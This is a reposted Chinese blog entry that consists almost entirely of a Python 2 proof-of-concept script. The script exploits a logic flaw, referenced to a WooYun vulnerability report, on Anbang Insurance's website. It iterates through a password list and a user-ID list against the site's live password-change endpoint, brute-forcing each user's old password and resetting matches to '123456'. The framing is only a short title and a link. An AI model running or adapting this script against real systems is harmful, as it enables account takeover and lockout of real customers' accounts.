码迷,mamicode.com
首页 > 其他好文 > 详细

一个安邦逻辑漏洞爆破密码的py脚本

时间:2016-01-07 10:17:39      阅读:189      评论:0      收藏:0      [点我收藏+]

标签:

 
漏洞地址:

安邦保险集团存在逻辑漏洞可遍历用户ID暴力破解用户原始密码进而重置用户密码(附脚本)

 

http://www.wooyun.org/bugs/wooyun-2010-0119851

 

 

脚本POC如下:

key:逻辑点、web请求、嵌套

 

 

#!/usr/bin/python
#coding: utf-8
import sys
import urllib
import urllib2
def get_headers(dt):
    headers = {
            ‘Accept‘: ‘*/*‘,
            ‘X-Requested-With‘: ‘XMLHttpRequest‘,
            ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36‘,
            ‘Connection‘: ‘keep-alive‘,
            ‘Content-Type‘: ‘application/x-www-form-urlencoded‘,
            ‘Host‘: ‘www.ab95569.com‘,
            ‘Content-Length‘: dt,
            ‘Accept-Encoding‘: ‘gzip, deflate‘,
            ‘Accept-Language‘: ‘zh-CN,zh;q=0.8‘,
            ‘Cookie‘: ‘pgv_pvi=9633317888‘
            }
    return headers
def guess_password(oldpwd,userid):
    for i in oldpwd:
        for j in userid:
            params = urllib.urlencode({‘oldPwd‘:i,‘newPwd‘:‘123456‘,‘userId‘:j})
            dt = len(params)
            headers = get_headers(dt)
            try:
                url = ‘http://www.ab95569.com/user/updPwd.htm‘
                req = urllib2.Request(url,params,headers=headers)
                response = urllib2.urlopen(req,timeout=3)
                data = response.read()
                if ‘保存成功‘ in data:
                    print ‘userid: %s, oldpwd: %s‘ % (j,i)
            except Exception, e:
                print e

def get_oldpwd(filename1):
    temp1 = []
    files = open(filename1,‘r‘)
    for i in files:
        i = i.strip()
        temp1.append(i)
    return temp1

def get_userid(filename2):
    temp2 = []
    files = open(filename2,‘r‘)
    for i in files:
        i = i.strip()
        temp2.append(i)
    return temp2

if __name__=="__main__":
    oldpwd = get_oldpwd(‘password.txt‘)
    userid = get_userid(‘userid.txt‘)
    guess_password(oldpwd,userid)

 

 

 

 

一个安邦逻辑漏洞爆破密码的py脚本

标签:

原文地址:http://www.cnblogs.com/shellr00t/p/5108674.html

踩
(0)
赞
(0)
   
举报
评论 一句话评论(0)
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!